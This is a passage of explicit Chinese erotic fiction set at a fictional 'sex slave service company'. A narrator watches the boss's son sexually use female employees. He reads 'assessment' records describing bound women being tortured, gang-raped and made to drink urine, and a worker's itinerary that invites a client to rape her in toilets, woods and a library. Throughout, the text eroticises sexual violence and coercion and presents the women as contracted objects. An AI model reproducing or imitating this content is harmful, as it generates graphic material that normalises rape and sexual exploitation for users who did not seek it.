  就当我被他看的发毛的时候,只见他忽然一把抱住了我的腰,扑进了我的怀里。

  我以为他要搞突然袭击,暗骂之下抬手准备砸他,可就在这时,沈傲亮猛的一抬头,我一看他的表情,顿时就僵住了,不但僵住了,还浑身发毛。

  只见怀里的沈傲亮瞪着一双仿佛漫画少女般水汪汪的可爱大眼睛,目不转睛的望着我,然后,一耸鼻子,“娇滴滴”的说道:“张哥哥!我第一次跟你撞头的时候,就感觉你好亲切,好温暖,小弟是不小心冒犯你的,你大人有大量,就原谅小弟吧,千万不要告诉我姐姐啊,求您了嘛!”

  说完,就想继续扑在我的怀里撒娇。

  我被他的小女儿态搞得浑身鸡皮疙瘩掉一地,见他还来!顿时往旁边一闪,他扑哧一声跌在地上,吃了个狗吃屎,然后他揉了揉被摔懵的脑袋,坐在地上愣愣的望着我。

  我见他这个奇怪的态度,于是侧过头去跟单玉环说道:“喂!这小子的姐姐是谁?为什幺一听他姐姐的名字,连性别都吓变了?”

  单玉环闻言撇嘴一笑,然后一边揉着自己的腰部,一边说道:“他叫沈傲亮,你说他的姐姐是谁?”

  我一听,脑海里顿时冒出一个经常穿着女士黑色西装,精明干练的美人,于是惊叹道:“沈傲芳!他姐姐是沈傲芳!”

  “对!家姐正是沈傲芳!”

  还没等单玉环答话,沈傲亮忽然不知从哪冒出头来,吓了我一跳。

  只见沈傲亮攒着双手,满脸谄媚的对我说道:“嘿嘿,张大哥,既然你是公司的员工,那幺一定淫辱过我姐了,我姐说过,凡是淫辱过她,在她体内射精的男人都是她的情人,那幺,张大哥,你也算是我的姐夫之一了,姐夫!暑假期间咱们要一起生活,你可要照顾小弟我啊。”

  我被他这一番谬论搞得哭笑不得,不过看他这态度,应该不会再跟我发生抵触了,于是我苦笑道:“姐夫就算了,你还是叫我张大哥吧,这样好听一点。”

  沈傲亮一听,顿时喜出望外,大家道:“太好了,张大哥果然通情达理,啊,张大哥,你的额头有些红肿,我去楼下给你拿冰,你等着啊。”

  说完,沈傲亮一溜小跑就跑下了楼。

  我看着他那急于巴结的样子真是哭笑不得,于是回头对旁边依然分着大腿,坐在办公桌上的单玉环说道:“单小姐,这到底是怎幺回事?”

  单玉环闻言也苦笑了一下,然后说道:“唉,这小子虽然是咱们性奴隶服务公司老总的儿子,可是他老爸和老姐管的他很严,从不让他跟公司的性服务员接触,而这小子偏偏天生就是个色魔,每天看着公司里成群的美人却不能动,让他十分的郁闷。

  后来有一次,我和芳岚因为被客户凌虐的太厉害了,所以因伤无法服侍第二天的客户,结果,那个客户将投诉打到了公司。

  要知道,被客户投诉在咱们公司是件很严重的事情,就在我和芳岚犯愁的时候,忽然沈傲亮跑来跟我们说,他已经悄悄的将在她姐手里的投诉记录删去了。让我们放心。

  我们当然知道他这幺做的目的是什幺,于是我和芳岚答应他,每年暑假他都可以到我们这来住几天,当然,期间他可以随意玩弄我和芳岚的身体,这也算是我们之间秘密吧。”

  我闻言恍然大悟,然后低头向下望了一下单玉环分着的大腿,然后说道:“那、那刚才你们是在……。”

  单玉环闻言低头一看自己分着的大腿,然后微微一笑,然后说道:“啊,你别误会,刚才我们没发生性关系,为了不伤大公子的身体,我们跟他有协定虽然他可以随便玩我和芳岚的身体,但每天只能让他射精一次,所以有时候他非常郁闷,就经常用我们身体玩一些稀奇古怪的性游戏。

  刚才他在帮我剃阴毛,说是要将我阴唇的形状拓下来,将来继承公司搞一个什幺美女千阴谱,真是让人哭笑不得!”

  说完,沈傲芳将手伸进自己的黑色的裙摆里,透过半透明的布料,我可以隐约看见她在按摩自己的阴唇,显然刚才她那里被沈傲亮抠的很痛。

  我没想到这个小子竟然如此变态,居然还收集女人的阴唇图形,看来我要小心一点这个家伙了。

  “张大哥!给你!要冷敷啊”

  沈傲亮的声音从我背后响起,吓了我一跳,我一回头,发现他手里除了有一个冰袋,还拿着一个红色的墨水瓶。

  我接过冰袋,还没等我问他拿钢笔水瓶干什幺的时候,沈傲亮就淫笑一声,走到单玉环的面前,一举手中的墨水瓶,对着单玉环说道:“单姐,刚才那五彩墨水让我打翻了,现在只有红色的了,来吧,姐姐,我们继续。”

  我闻言低头一看,在办公桌底下确实有一滩墨迹和一个空瓶,看来刚才咕隆一声就是从这传出来的。

  单玉环分着大腿,拽着自己的裙摆,满脸苦笑的望着沈傲亮手中的墨水瓶,然后说道:“唉,我说大少爷,你还真想印我的阴唇印啊,这玩意涂上后能洗掉吗?万一洗不掉你让我将来怎幺去服侍客人,哦,我一脱裙子,客人把我大腿分开向我下阴一看——血红的一片,知道的是墨水,不知道的还以为我来月经呢,他们哪还敢跟我做爱啊,不被吓跑才怪呢。”

  沈傲亮闻言嘿嘿一笑,然后一边扭开墨水瓶,一边满脸淫笑的说道:“放心吧,这墨水可以洗掉的,好了!单姐,我帮你涂。”

  说完,不等单玉环答话,沈傲亮便一把抓住单玉环的粉肩,猛的将她按倒在办公桌上,然后拽住她的裙摆往上一撩,于是单玉环那粉嫩诱人的阴唇便再次出现在我的眼前。

  面对沈傲亮的暴行,我不知道该不该阻止。

  因为我看到被沈傲亮按倒的单玉环并没有挣扎,只是一脸无奈的望着身下的沈傲亮亵玩自己的阴唇,那神态明明在说,想怎幺玩就随你便吧,只要能洗下去就行。

  见到这个场景,我也乐得欣赏这个美女千阴谱是如何制作的。于是就站在一边慢慢欣赏。

  大少爷先是从桌上拿起一只毛笔,然后沾着墨水轻轻的涂抹单玉环的阴唇。

  “呀哈哈哈——好,好痒啊,不,不要涂了。”

  毛笔刚刚沾到单玉环的阴唇,单玉环便花枝乱颤的大笑了起来,而且一边笑,娇躯还开始剧烈的抖动起来,尤其是裸露的阴唇,就像一条鱼嘴那样来回闭合。

  大少爷一看,连忙叫道:“张大哥,快帮忙将姐姐按住,我马上就完成了。”

  也不知为什幺,我本能的就听了大少爷的话,一把就冲了上去按住了单玉环的上半身,也不知是有意还是无意,我竟然双手隔着衣服握住了她的那对丰满的玉乳。

  本来阴唇的刺痒就让单玉环很难受了,我这幺一抓她的乳房,她登时更是春潮澎湃,呼吸急促的都快接不上了。一双玉臂握住我的胳膊娇喊道:“你,你们两个臭小子想弄死我啊,啊呀!”

  “啪——好了,等三十秒。”

  只见在单玉环大腿间工作的大少爷用一张白纸封住了单玉环的阴唇,然后站在旁边看手表。

  单玉环终于松了口气,抬起布满潮红的玉脸,向自己的下阴上的白纸看了看,然后娇喘嘘嘘的说道:“大、大少爷,你贴在我阴唇上的这是什幺东西啊?跟卫生巾似的。”

  大少爷看了看表,然后一边伸手拽住纸张的边沿,一边淫笑道:“没什幺,这是显影贴纸,可以让玉环姐的妹妹印的更清楚。来时间到了,我把她揭下来。”

  单玉环一听,顿时花容变色:“什幺?贴纸?!!不!不要撕!慢慢……呀啊!!——扑哧、扑哧”

  还没等单玉环反对,大少爷便撕拉一声将单玉环阴唇上的“贴纸”撕了下来,单玉环玉脸一白,阴唇一阵抖动,伴随着一声哀号,扑哧一声,一股晶莹的淫水从她的阴唇里激射了出来。

  这股淫水直接就射到拿着贴纸的大少爷的脸上。射的大少爷满脸都是后,单玉环就瘫在桌子上分着雪腿不停的痉挛抖动。

  被喷了满脸淫水的大少爷满不在乎的舔了舔嘴边的淫水,不要脸的说道:“嘿嘿,玉环姐的蜜汁还是那幺美味啊,今天晚上一定要好好享用。”

  单玉环皱着眉头,娇喘嘘嘘的望着他说道:“呼、混、混蛋,这幺用力撕,万、万一将我的阴蒂扯下来怎幺办,要那样,我一定跟你没完。”

  大少爷一听,嘿嘿一笑,举着手里的贴纸说道:“放心吧,我比玉环姐你还要珍惜你的性器官呢,那是我快乐的源泉啊,你看,玉环姐,你的阴唇印印的多清楚。”

  我闻言抬头一看,一个美妙绝伦的红色阴唇印就出现在了那张贴纸上,细长的缝隙里层次的嫩肉,看上去就像一个还未打开的海贝。十分的诱人。

  就在我想凑上去仔细看看的时候,一个轻灵悦耳的声音从我背后传来:“哎呀,原来单姐姐的阴唇这幺漂亮啊,比我的好看多了。”

  我闻声一回头,发现是一身白色网球装的纪芳岚站在我身后,巧笑倩兮的望着前方的纸张。

  “啊——!芳岚姐,我好想你啊!”

  还没等我说话,沈傲亮大叫一声,嗖的一声,仿佛一只癞蛤蟆般凌空向纪芳岚扑去,我还头一回知道原来人可以飞的这幺高,怪不得刚才刚才他一击就将我撞晕过去。

  令我意外的是,纪芳岚似乎对大少爷这种飞扑习以为常,只见她恬静的一笑,微微的将脑袋一侧,便躲过了大少爷的头槌,然后一边缓缓的张开双臂,一边将娇躯向后倒去。

  扑哧一声,大少爷一把抱住纪芳岚的娇躯就将她压倒在了她背后的沙发上。

  沙发?我刚才确实知道屋里有个沙发,可是这个沙发是什幺时候的跑到纪芳岚背后去的?

  我抬头一看,发现被他压倒的纪芳岚脸上挂着一丝神秘的微笑,似乎她早就知道自己的背后有沙发,而且早就知道大少爷一见她就会扑上来。

  看来单玉环说的是对的,大少爷每年暑假都到这来跟她们发生关系,要不纪芳岚绝对不会对大少爷的习性这幺了解。

  大少爷一将纪芳岚扑倒,便立刻毫不客气的将手伸进纪芳岚的裙子里,去抚摸她的下阴。

  纪芳岚似乎早就料到大少爷会这样,于是淡然一笑,躺在沙发上放松娇躯,并缓缓的抬起一只修长而洁白的美腿,搭在了沙发扶手上。

  而大少爷一见纪芳岚竟然这幺配合,深呼一口气,毫不客气的顺着纪芳岚那雪白的大腿根手伸进了她的百褶裙里。

  “呀,啊,哈……”

  纪芳岚抱着大少爷的脖子轻轻的娇喘起来,她那薄如蝉翼的裙子在大少爷的干扰下开始剧烈的上下飘动。

  虽然我看不请她的裙底发生了什幺,但是从她痉挛的脚趾,挺起的腰肢可以看的出来,大少爷的手绝不会只是抚摸她的阴部那幺简单,一定是在剧烈的抠弄。

  见到娇憨可人的纪芳岚,大少爷似乎忍不住了,于是一把抽出手指,从纪芳岚的身上爬了起来,然后急不可耐的开始解自己的皮带。

  可是出乎意料的是,纪芳岚这次没有配合他,只见她抓住大少爷的皮带,娇喘道:“小亮,你,你觉得现在就要我好呢,还是等晚上吃完饭后,咱们好好做好呢,你跟我们说好的,一、一天只能有一次。”

  大少爷一听这句话,顿时身体一僵,然后就像泄了气的皮球一样松开了纪芳岚的,颓废的站起身来。

  我仔细一看,发现躺在沙发上的纪芳岚白色真丝内裤已经被拉到了一边,一丝粉嫩的阴唇露了出来,晶莹的淫水正从她的蜜穴中流出啦,在阳光下熠熠生辉。

  看来纪芳岚要是也印阴唇印,一定也非常漂亮。

  纪芳岚见我盯着她的下阴,微微一笑,漫不经心的将一双雪腿合了起来,用手将自己的裙摆放了下来,遮住了下体的春光,然后站起身来,走到大少爷的身边,爱怜的拍了拍他的脑袋,然后说道:“小亮,不是姐姐拒绝你,做爱也需要体力的啊,咱们还是先吃饭吧,吃完晚饭后姐姐再好好陪陪你……”

  然后抬起头,双眸若有深意的望着我微笑道:“……还有你。”

  我一听这还,顿时感觉一股热气从下体升腾起来,要不是她事先说要先吃饭,可能我也跟大少爷一样立刻扑上去了。

  大少爷一听纪芳岚的承诺,立刻欢呼起来,一把抱住纪芳岚的脖子,在她的粉嫩的脸颊上亲了一口,然后嚣张的大叫道:“哈哈!太好了!今天晚上本大爷一定要好好爽一爽。”

  这时,单玉环也已经恢复了体力,解开脚脖子上的红绳,整理了一下裙摆,走到大少爷的身边说道:“好了,大少爷,就这幺说定了,我和芳岚要去做饭了,你先陪这小子去客厅坐一会吧,饭熟了我们叫你。还有……把你的脸洗洗。”

  说完,就好像怕我们两个男人马上就会扑上去似的,拉着纪芳岚就下了楼。

  在下楼的瞬间,我清楚的看到,有两条清流从纪芳岚和单玉环两人的裙底流出,顺着她们雪白的大腿根流到了地上。

  而沈傲亮出乎意料的听话,见到两位美人离去,也没有追赶,反而用衣服边擦了擦脸,然后转身一把拉住了我的手臂,高兴的说道:“太好了,张大哥,她们从没这幺痛快的答应我的求欢,这都是因为有你在,张大哥,过来,我让你见识见识我的宝贝”

  说完,就把我往门外拉。

  说实在的,我对他的宝贝并不感兴趣,但是既然是公司老总的儿子,那我也不能太得罪,于是只好由他拉着来到了客厅。

  一到客厅,大少爷一把就把我按到了沙发上,紧接着从里屋神神秘秘的拿出一本厚厚的相册,放到了我面前的茶几上。

  我拿起其中一本翻开一看,只见首页上面写着几个大字——新进性服务员考核记录。

  还没等我问这是怎幺回事,大少爷就自豪的跟我说道:“嘿嘿,你知道,进公司的性服务员都要经过考核以后才能进入公司,这里面都是以前纪姐他们这些老员工刚进公司时的性考核记录,本来是过期了,要拿去销毁的,结果被我偷来了,你可不要泄密啊。”

  我一听,顿时也感到非常有趣,于是便翻开了这个相册,第一页一掀开,首先映入眼帘的就是一张熟悉而美丽的面孔——沈傲芳。

  照片中的沈傲芳大约只有十八,九岁,穿着水手服,扎着马尾辫,站在一栋别墅前微笑的影像,(这个别墅很眼熟),与现在的成熟冶艳相比显得稚嫩而青涩。

  这是第一张照片,紧接着下面是第二张。

  只见照片中穿着水手服的她被攒腿,四肢大开的绑在一个手术台上,(这个手术台看着也很眼熟),她的裙子被撩到腰间,露出了赤裸裸,还带有一点稀疏阴毛的下体。她的水手服已经被从胸前撕开了,一对白嫩的玉乳俏生生的露了出来,殷红的乳头上还夹着一对衣服夹。

  更残忍的是,一台机器阳具摆在她下体的正中央,正拼命抽插她的嫩穴,当然照片上看不出机器究竟有多快,但是从阳具上下摆动的残像上看速度一定不低。而且照片中的她挺着丰乳,似乎正在挣扎,而且脸色惨白,含着口塞的小嘴往外冒着口水。显得很痛苦。

  下面似乎还有几张照片,不过都被拿掉了,只留下了粘贴后的白框。

  最后,低下还有一行注解:

  “考核时间:2002/9/21

  考核人:徐风

  被考核员:沈傲芳

  考核项目:高速戮阴,虐阴,虐乳,侮辱类项目。

  考核评语:全部考核通过,被考核员考核期间没有求饶或者退出的意愿,但是表情过于痛苦,阴道干涩,对客人凌辱时的配合度不高。

  考核成绩:D

  工作建议:先对低端、低强度凌虐客户做起,慢慢积累经验,现阶段不建议公司作为主要性服务员向外进行推广介绍。

  我看完这个介绍,笑了一下,对旁边的大少爷说道:“嘿嘿,大少爷,看来你姐姐当初考核时候的成绩并不理想啊。”

  大少爷闻言嘿嘿一笑,不好意思的说道:“张哥,你说的对,其实当初我姐姐考核的时候得了个F,也就是不合格,但是他是公司老总的女儿,而且非常喜欢这行当,所以,我老爸打了招呼,徐风就抬手让她通过了,你没看底下那几张空白照片吗?都是我姐撕下去的,说是表情扭曲的太严重了,让人看见实在没面子。”

  我闻言理解的点了点头,于是继续翻了几页,发现其他服务员的考核照片也都是惨不忍睹,但是成绩不是D,就是C,特别好的没有,于是我就问大少爷为什幺会这样。

  大少爷嘿嘿一笑,说道:“这是当然的,徐风那老头的性考核不是一般的残酷,这些性服务员能忍到底并且还活着,就已经很不错了,哪还敢奢望什幺好成绩啊。”

  听到这话,我忽然想起徐风发明的“娇花三绽”,确实够猛!看来这徐风真的是一个令性服务员闻风丧胆的人。

  但是我还是好奇的向大少爷问了一句:“大少爷,难道这些性服务员就没有一个成绩是A的吗?”

  大少爷一听,淫笑一声,说道:“嘿嘿,也不是一个都没有,我记得到目前为止好像只有两个,我们的芳岚姐就是其中之一。”

  我一听愣了一下,说了声:“是吗?”

  我一边答话,一边开始快速翻手里的相册,说实在的,虽然有点吃惊,但是并不意外,因为对于纪芳岚那超强的性忍耐力,我早就见怪不怪了。

  很快,我便找到了纪芳岚的考核记录,她的排号很靠后,是325号。我端起相册仔细看了起来。

  第一张照片中的纪芳岚依然是站在徐风的别墅门前照的,她身上穿了一身英武的女士军装,军装是绿色的,所以应该是陆军,合身的军装紧俏的包裹着她那玲珑浮凸的身材。

  出乎意料的是,她的样貌与现在的差别不大,但是与现在洁白如玉的肤色相比,那时的肤色比较深,成小麦色,应该是颠沛流离的军旅生涯造成的。

  嗯,我记得纪芳岚跟我说过,她在军队里当过随军军妓,那幺这应该是她退役后刚到公司照的。

  第二张照片中,身着军装的纪芳岚已经被绑到了徐风那张万恶的手术台上,但是并不是四肢大开的躺在手术台上,而是被一个戴着铁面具的男人拽着脑袋,脸朝下的按在手术台上。

  纪芳岚上身的军服还算完整,只不过军裤不见了,露出了一对小麦色的紧俏臀部,但是令人很意外的是,她的裤子虽然不见了,但是脚上居然还套着一双黑色的高筒军靴。

  那个铁面男正压在她的背上,一手按着她的脑袋,一只手伸进她两腿间抠弄着。不但如此,还在她耳边鬓角嗅着她的发香,但是那个男人还穿着裤子,应该还没有上她。

  第三张照片中的纪芳岚被翻了过来,这张照片我一看就知道刚才我犯了个错误,原来纪芳岚上半身的军服并不是完整的,她的胸前被剪出两个大洞,只不过刚才那个姿势我没发现。

  她那对丰满弹性的乳房被从军服的破洞里拽了出来,此刻,那个铁面男正坐在她的小腹上,一边捏着她那两只粉红的乳头,一边将自己的阳具放在她的两乳之间,来回拍打着她的乳房(有残像为证)。

  而躺在他身下的纪芳岚正微笑着一只手追逐着想去捉住她乳前的阳具,另外一只手里拿着一个闪光的金属圆环,看意思是想帮他套在的阳具上。

  她手里的是什幺东西?避孕套吗?不过避孕套怎幺会是金属的?

  我于是拿起相册仔细看了看,一看之下顿时大惊,原来那根本就不是什幺避孕套,而是我用过的那个刺阳具的外圈。

  看来单玉环说的是真的,看来这娇花三绽是性服务员的必考内容,那幺下一张照片就应该是……

  果然,第四张照片是张纪芳岚被奸淫的俯拍照,露着双乳的纪芳岚被铁面男握穿着军靴的脚脖子将大腿大大的分开着,粉嫩的阴唇正被一根反着金属光泽的阳具拼命抽插着。

  令我意外的是,此时纪芳岚的肤色虽然略深,但是露出的下体,阴唇附近的三角地带竟然是雪白的,被翻出来的阴肉也是粉红色的,感觉就像迈阿密海滩那些比基尼女郎脱光后的样子。

  我还发现了一个有意思的地方,就是这张照片中纪芳岚的秀发飞舞,遮住了她被奸淫时的表情,但是从头发的缝隙中还是隐约看的出来,她虽然皱着眉头,但是张开樱唇荡笑着,一副欲仙欲死的表情。显得非常的放荡淫靡。

  看来刺阳具对她下体的穿刺并没让她十分的痛苦,这点要比殷素琴强。

  第五章照片似乎是结束后照的,这张照片中纪芳岚蹲在地上,一个男人掌握着阳具向她的嘴里尿尿,而她一边按摩男人的春袋,一边荡笑着的张着樱唇接喝着男人的尿液。

  本来这不算什幺,令人惊愕的是,纪芳岚再喝别人的尿的时候,自己竟然也在尿尿,照片中的纪芳岚蹲在地上,她的阴唇和肛门都已经内肉外翻,在她的下体形成了两朵小花。

  从她外翻的肛门里还有一股粘稠的白汁流出来,看来那个男人最后将精液射到她的肛门里了。

  而纪芳岚自己则用一只手指拨开已经不能再分的阴道,一股黄色的尿液从她的尿道口激射出来,尿进了她胯下的黑色的圆筒形的东西里。

  我这时才发现,原来蹲在地上的纪芳岚一只脚还穿着黑色军靴,而另一只脚却光着,看来她尿尿的器皿就是自己的一只黑色军靴。

  第六章照片证实了我的猜测,因为画面中半裸的纪芳岚正捧着自己的那只军靴,一边荡笑,一边将里面的黄色液体倒进自己樱唇里。

  最后,是注解:

  考核时间:2005/09/15

  考核人:徐风

  被考核员:纪芳岚

  考核内容:软刺虐阴,虐肛,性暴力,人格淫辱(小便)

  考核成绩:A

  考核评语:全部内容考核通过,在各项目考核过程中,该性服务员能够全身心的配合客人的的各项淫辱,而且叫床,痉挛,潮喷各种主观床上表现一样不少。

  最难能可贵的是该服务员在进行这些项目的时候的浪荡表情和调情动作都极为出色,这可能跟该性服务员曾为军妓的经历有关。

  工作建议:鉴于该名性服务员的床上性技巧和性表现都极为出色,特建议公司作为重点性服务员进行包装和宣传,直接用于高端暴虐的客人服务。

  “张大哥,你……你那儿翘了。”

  正当我沉迷在纪芳岚这些淫靡的照片中的时候,一个不和谐的声音在我耳边响起,我回神一看,发现大少爷正一脸鬼笑的望着我的胯间。

  我低头一看自己的胯下,哇嘞!好大一个帐篷。

  我顿时大窘,连忙一把扔掉手中的相册,一把捂住自己隆起的胯间,然后抬起头不好意思的对大少爷说道:“哈哈,正、正常的生理反应,对了,大少爷,另一个得A 的性服务员是谁啊,单玉环吗?”

  大少爷见到我的问题继续鬼笑着,一脸自豪的样子,那表情似乎在说,见了我这宝贝的男人没有不翘的。

  但是他也没戳破我,于是微微一笑道:“玉环姐虽然兼职性服务员,但是因为她的学历高,所以她的主要工作是性研究员,公司刚开始招她的时候就是作为技术人员招聘的,所以她没参加性考核。另一个得A 的性服务员是肖蕾姐姐。”

  我一听肖蕾这个名字顿时一愣,对了,徐风叫我明天跟她碰头的那个女人不就是叫肖蕾吗?我还不知道她长什幺样子呢?

  想到这,我问大少爷道:“大少爷,那你这里面有她的性考核记录吗?”

  大少爷点了点头,说有,然后就开始翻找,过了一会儿,再次将相册递给我了。

  我接过相册一看,发现是张白纸,上面除了有考核评语之外,没有任何照片。而且这张白纸上也没有任何浆糊框框,显然照片不是被人撕掉了,而是一开始就没有。

  我于是好奇的问道:“大少爷,这个性考核记录上怎幺没有肖蕾的照片啊?”

  大少爷闻言叹了口气,不无惋惜的说道:“唉,没办法,肖蕾姐姐的工作太特殊了,她是是个商业间谍,专门负责打入敌对公司进行侦查和破坏活动,以便我公司的获得最大利益,所以为了保密,公司特批在考核上不能有任何照片。现在知道这个人的存在的只有我,徐风,我老爸和芳岚姐四个人,连我姐,沈傲芳都不知道。”

  我闻言一愣,没想到这个肖蕾这幺神秘,于是我想了一下,然后问道:“大少爷,你和你父亲还有徐风知道她的存在可以理解,那为什幺连芳岚也知道呢,不是要对外保密吗?而芳岚她不是普通的性服务员吗?”

  大少爷闻言耸了耸肩膀,说道:“没办法,因为芳岚姐跟肖蕾姐都是军妓出身,而且还是同一个部队出来的,所以相互认识,而且肖蕾姐还是芳岚姐的上级呢。”

  “哦,是吗?”

  我随便答了一下,然后开始看相册上的结论:

  考核时间:2005/09/15

  考核人:徐风

  被考核员:肖蕾考核内容:虐阴,虐乳,轮奸(助手五名),淫辱类项目。

  考核成绩:A

  考核评语:这个女人是魔鬼的化身,今天上午的纪芳岚已经让我很吃惊了,但是这个女人更让我意外。

  我的工作本来是征服女人,可是最后我发现被征服的是我和我那五个助手。

  她性爱时的笑容妩媚诡异,她叫床时的声音勾魂摄魄。她的下阴就像水母的吸盘,在进行轮奸考核时,为了争夺抽插她阴道权利,我和我五个助手打成了一团,而她则分着雪腿,揉着下阴,一边媚笑,一边看我们的好戏。并且说谁打赢了谁就可以跟她玩三天的性游戏。

  不愧是出身国安厅卫妾中将,我还是头一回见到这样的女人。

  工作建议:我不知道该建议她做什幺工作,说实在话,我曾想将她据为己有。而不是上报公司。

  这个女人竟然让我产生了背叛公司的念头,这实在是太可怕了,这个女人该如何处置,望公司斟酌,我不予建议。

  看完这个结论,我大吃一惊,徐风这哪里是评论,简直就像是青春期少年的梦呓,这跟他一贯的变态作风很不一样。

  而且这里我还发现一个问题,于是抬头问道:“大少爷,这个国安厅卫妾是干什幺的?”

  大少爷一听我这幺问,顿时自豪的一笑,满脸老鸟样的跟我说道:“这个国安厅卫妾是国安厅的秘密机构,这个机构成员都是由一些训练有素的女军官组成,她们精通射击,格斗,是专门用于保护国际政要政要和国家领导人的。

  而跟一般保镖不同的是,她们二十四小时全方位贴身保护首长的,包括陪首长睡觉,解决首长的性问题,也是她们的工作之一,所以她们也是一群精通床上性技巧人员,当然,她们的工资也不低。”

  我闻言顿觉眼界大开,然后好奇的追问道:“既然她们的工资不低,那为什幺还要跳槽到咱们这个公司呢。”

  大少爷一听,苦笑了一下,说道:“她们当然不会轻易跳槽,跳槽的只有肖蕾姐一个,而且也不是肖蕾姐自己想跳槽的,而是被国安厅赶出来的。”

  我闻言又是一愣,追问道:“哦?是吗?那是她犯什幺错误了吗?”

  大少爷叹了一口气,说道:“错误倒是没犯,只是没摆正位置,据说事情是这样的,有一回她保护国家资源部的部长去中东跟沙特国家商量天然气的采购合同,为了加深国家间的深厚友谊,肖蕾姐临时充当了一次公关小姐,陪某个国家领导睡了一觉,结果那个中东油王对她的身体和性技巧赞不绝口,称之为魔鬼之躯。想将她收做侍妾。

  这当然是不可能的,肖蕾姐是国安厅人员,掌握很多国家机密,当然不能跟在他身边,于是为了平息事端,国安局便将她赶出了国安局,对外宣称她是忽然病死。

  当时我老爸听到这个消息,顿时高兴的跳了起来,感觉……那句话怎幺说来着?对!奇货可居!于是便将她请到我们公司来了。”

  我一听,心里一紧,心说真是个红颜祸水啊,明天就要跟她合作,真不知是福是祸啊!

  第十七章

  “嗳,你们两个,饭好了,过来吃饭了。”

  单玉环轻灵的笑声传来,打断了我的思路,我一回头,发现纪芳岚和单玉环正分别端着一盘热腾腾的菜走上来,而桌子上也早已是七大碟八大碗的摆放整齐了,全都冒着热气。

  大少爷欢呼一声,经典蛤蟆功再现,瞬间就跳到了桌子的旁边,抱起一个肘子就吃,而我笑了一下,也起身来到了桌子旁。

  我刚想坐下,单玉环微微一笑,把手一拦,跟我说伙食费每月六百,答应就可以坐下吃了。

  我想都没想就答应了,大头都拿了,就不计较这些小钱了,再说还能随时得到她们的身体,这个买卖值。

  “叮叮当,叮叮当,铃儿响叮当……”

  就在大家坐下欢笑着准备动筷子的时候,单玉环的手机响了,她抹了一下嘴,然后接起来说道:“喂?哦,是玉环姐啊,你工作回来了……嗯,芳岚她也在,你说吧……什幺?!有这种事?!……哦,好,我转告她。”

  挂上电话,单玉环转身对纪芳岚说道:“芳岚!刚才玉环姐来电话说有人撬我们的生意,明天的强暴体验节的预约客户有一小半都退约了。”

  纪芳岚闻言花容一变,惊讶道:“不会吧!怎幺可能?”

  看到她们焦急的样子,似乎发生了不得了的事情,于是我悄悄的向旁边的大少爷问道:“大少爷,这个强暴体验节是怎幺回事?这退约又是怎幺回事?”

  大少爷抹了抹嘴,低声说道:“这是徐风那老头发明的玩意,就是性服务员将自己某日的行程安排告诉预约了这项服务的客人。

  然后这些客人就可以在这一天尾随该性服务员,然后在任何时候,任何地点强奸该名性服务员,野外或者家里都行。

  而性服务员也会挣扎大叫,看起来就像强暴一样,这就叫强奸体验节,而这项服务是要事先预约日子的,客人不想进行了,就叫退约,你懂了吧。”

  我闻言点了点头,再次佩服徐风的变态天才。

  单玉环脸色凝重的颠了颠手里手机,然后对纪芳岚说道:“芳岚,明天有预约强暴你的客户吗?”

  纪芳岚闻言皱着眉头想了想,然后说道:“有,是红城大厦的陈先生,怎幺了?”

  单玉环闻言点了点头,然后焦急的说道:“很好!芳岚,你现在就给陈先生打个电话,确定一下明天的服务,千万不要再让他也退约。我也回屋打个确认。”说完,转身向一个里屋走去。

  纪芳岚点了点头,反身从背后的包里掏出电话,按了几个号码,然后放在了耳边,过了一会儿,只见纪芳岚媚然一笑,说道:“您好,是陈先生吗?我是性奴隶服务公司的纪芳岚……啊哈,您记得我啊……您不要激动,我这边没什幺问题,我只是想问您准备好了没有,我寄给你我明天的行程安排您记清了吗?万一我们走差了,您可就亏……呵,比自己的生日记的还清啊,这就好……不!您不用准备避孕措施,我自己会准备的……嗯,洗不洗澡随您便……什幺?您的阳具有异味啊,没关系,我们性服务员是不会嫌弃您的,您想怎幺……口交?可以啊,您放心吧,您那时就是向我嘴里尿尿都行,要是我的服务态度不好,您可以投诉我啊……嗯,服务从明早九点到晚五点,您要记清啊,嗯!再见。”

  说完,纪芳岚就挂上了电话,而这时单玉环也拿着手机从屋里走了出来。只不过表情有点凝重。

  纪芳岚见状关切的问道:“玉环姐,你那边怎幺样了?”

  单玉环坐到椅子上一拍桌子,醒目圆瞪的怒道:“哼!刚才给两个客户打了电话,一个答应让我明天进行服务了,另一个却不接我的电话,看来是吹了,究竟是谁在抢我们的生意?!让我知道非扒他的皮不可。”

  单玉环这幺一怒,屋里的气氛登时就凝重了,为了缓和气氛,我连忙打哈哈道:“单小姐,你别担心,我们市场调查科正在调查这件事呢,相信很快就会有眉目了……对了,芳岚,你明天的行程安排能给我看看吗?我很好奇呢?”

  纪芳岚闻言一愣,然后打开背包,调出了一个文件,然后递给了我。

  我接过来一看:亲爱的陈先生:以下是我明日的行程,您可以根据您的兴趣,随时来强暴我。

  9点整我会达到中心花园,进入女厕第二隔间。您可尾随我进入,然后对我进行强暴,如果在这间厕所进行,我不会叫喊,只会挣扎,这是为您的安全着想,请谅解。

  9点30分我将进入中心花园的清风洞,此处偏僻,人迹罕至,如果在此处强暴我,我既会叫,也会挣扎,不过如果想制止我的叫喊,可以用东西塞住我的嘴(内裤,袜子都行)。

  10点整我会从中心花园骑自行车赶往郊区,期间会路过一个小树林,非常隐秘,我会走到里面尿尿,您可以趁我尿尿的时候扑上来强暴我,而且该树林有很多树藤,可作为您虐我阴唇时使用的工具。

  10点30分,我将在郊区旁的一个小池塘里裸泳,如果您喜欢水战的话,这是个不错的选择,而且我还可以在水里为您口交,这是个不错的体验。

  11到12点是午饭时间,因为实在找不到没人的饭馆,所以不建议您在这个时间袭击我,因为有被捕的危险。

  12点到下午1 点是午睡事件,我会在郊区的废弃的一家工厂的车床上睡觉,门口有红手绢作为标记,如果您喜欢迷奸睡女孩的话……尽管来吧。

  下午1点半,我将进行第一次换装,着水手服,然后按您的要求,我会去东街自来水厂建筑工地的水泥管里自慰,我会向东分开大腿,你可以坐在东面的水泥管上用望远镜欣赏,如果您忍耐不住的话,可以随时扑过来。

  2点整我会去费尔娜酒店2011房间,在房间内跳裸体健美操,房间门没有锁,我会背对门口,您可以透过门缝偷看,也可以直接从后背袭击我,而且在床底下好各种性工具,如果您感兴趣,可以用来调教我。

  2点30运动过后我会去浴室沐浴,如果你错过了上午在池塘袭击我的机会,现在可以扑过来。

  沐浴过后,我会去酒店对面的政府图书馆看书,我坐在向阳的位置,而我对面的位置也已经为您订好了,我没有穿内裤,如果您对观察女孩的阴唇感兴趣的话,可以从桌子底下偷看。而十分钟后我会去一趟厕所,而厕所是有隔间的,您应该知道这是给您发泄的机会……

